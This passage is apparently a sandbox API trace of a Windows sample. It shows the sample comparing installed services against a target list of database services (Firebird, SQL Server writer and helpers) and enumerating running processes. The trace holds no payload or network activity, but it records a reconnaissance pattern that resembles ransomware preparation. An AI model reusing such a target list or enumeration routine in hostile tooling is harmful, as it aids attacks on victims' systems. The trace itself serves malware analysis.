lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0217.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0217.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0217.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0217.657] lstrlenW (lpString="MpsSvc") returned 6 [0217.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0217.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0217.657] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0217.657] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0217.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0217.657] lstrlenW (lpString="NcbService") returned 10 [0217.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0217.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0217.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0217.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0217.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0217.658] lstrlenW (lpString="netprofm") returned 8 [0217.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0217.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0217.658] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0217.658] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0217.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0217.658] lstrlenW (lpString="NgcSvc") returned 6 [0217.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0217.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0217.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0217.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0217.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0217.658] lstrlenW (lpString="NlaSvc") returned 6 [0217.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0217.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0217.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0217.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0217.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0217.658] lstrlenW (lpString="nsi") returned 3 [0217.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0217.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0217.658] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0217.658] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0217.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0217.658] lstrlenW (lpString="PcaSvc") returned 6 [0217.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0217.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0217.658] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0217.658] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0217.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0217.659] lstrlenW (lpString="PlugPlay") returned 8 [0217.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0217.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0217.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0217.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0217.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0217.659] lstrlenW (lpString="Power") returned 5 [0217.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0217.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0217.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0217.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0217.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0217.659] lstrlenW (lpString="ProfSvc") returned 7 [0217.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0217.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0217.659] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0217.659] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0217.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0217.659] lstrlenW (lpString="RpcEptMapper") returned 12 [0217.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.659] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0217.659] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0217.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0217.659] lstrlenW (lpString="RpcSs") returned 5 [0217.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0217.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0217.659] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0217.659] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0217.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0217.659] lstrlenW (lpString="SamSs") returned 5 [0217.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0217.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0217.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0217.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0217.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0217.660] lstrlenW (lpString="Schedule") returned 8 [0217.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0217.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0217.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0217.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0217.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0217.660] lstrlenW (lpString="SecurityHealthService") returned 21 [0217.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0217.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0217.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0217.660] lstrlenW (lpString="SENS") returned 4 [0217.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0217.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0217.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0217.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0217.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0217.660] lstrlenW (lpString="ShellHWDetection") returned 16 [0217.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0217.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0217.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0217.660] lstrlenW (lpString="Spooler") returned 7 [0217.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0217.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0217.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0217.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0217.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0217.661] lstrlenW (lpString="StateRepository") returned 15 [0217.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0217.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0217.661] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0217.661] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0217.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0217.661] lstrlenW (lpString="SysMain") returned 7 [0217.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0217.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0217.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0217.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0217.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0217.661] lstrlenW (lpString="SystemEventsBroker") returned 18 [0217.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0217.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0217.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0217.661] lstrlenW (lpString="Themes") returned 6 [0217.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0217.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0217.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0217.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0217.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0217.661] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0217.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.661] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0217.661] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0217.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4bc [0217.779] Process32FirstW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.780] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.780] lstrlenW (lpString="System") returned 6 [0217.780] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.780] lstrlenW (lpString="smss.exe") returned 8 [0217.781] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.781] lstrlenW (lpString="csrss.exe") returned 9 [0217.781] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.781] lstrlenW (lpString="wininit.exe") returned 11 [0217.781] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.782] lstrlenW (lpString="csrss.exe") returned 9 [0217.782] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.782] lstrlenW (lpString="winlogon.exe") returned 12 [0217.782] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.783] lstrlenW (lpString="services.exe") returned 12 [0217.783] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.783] lstrlenW (lpString="lsass.exe") returned 9 [0217.783] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.784] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.784] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.784] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.784] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.785] lstrlenW (lpString="svchost.exe") returned 11 [0217.785] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.785] lstrlenW (lpString="svchost.exe") returned 11 [0217.785] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.785] lstrlenW (lpString="dwm.exe") returned 7 [0217.785] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.786] lstrlenW (lpString="svchost.exe") returned 11 [0217.786] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.786] lstrlenW (lpString="svchost.exe") returned 11 [0217.786] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.787] lstrlenW (lpString="svchost.exe") returned 11 [0217.787] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.787] lstrlenW (lpString="svchost.exe") returned 11 [0217.787] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.788] lstrlenW (lpString="svchost.exe") returned 11 [0217.788] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.788] lstrlenW (lpString="svchost.exe") returned 11 [0217.788] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.789] lstrlenW (lpString="svchost.exe") returned 11 [0217.789] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.789] lstrlenW (lpString="svchost.exe") returned 11 [0217.789] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.789] lstrlenW (lpString="svchost.exe") returned 11 [0217.790] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.790] lstrlenW (lpString="svchost.exe") returned 11 [0217.790] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.790] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.790] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.791] lstrlenW (lpString="svchost.exe") returned 11 [0217.791] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.792] lstrlenW (lpString="audiodg.exe") returned 11 [0217.792] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.792] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0217.792] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0217.793] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0217.793] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0217.793] lstrlenW (lpString="Memory Compression") returned 18 [0217.793] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.793] lstrlenW (lpString="sihost.exe") returned 10 [0217.794] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.794] lstrlenW (lpString="svchost.exe") returned 11 [0217.794] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.794] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.794] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0217.795] lstrlenW (lpString="msoia.exe") returned 9 [0217.795] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.795] lstrlenW (lpString="explorer.exe") returned 12 [0217.795] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.796] lstrlenW (lpString="SearchUI.exe") returned 12 [0217.796] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.796] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0217.796] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.797] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0217.797] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.797] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.797] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0217.798] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0217.798] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0217.798] lstrlenW (lpString="dllhost.exe") returned 11 [0217.798] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: 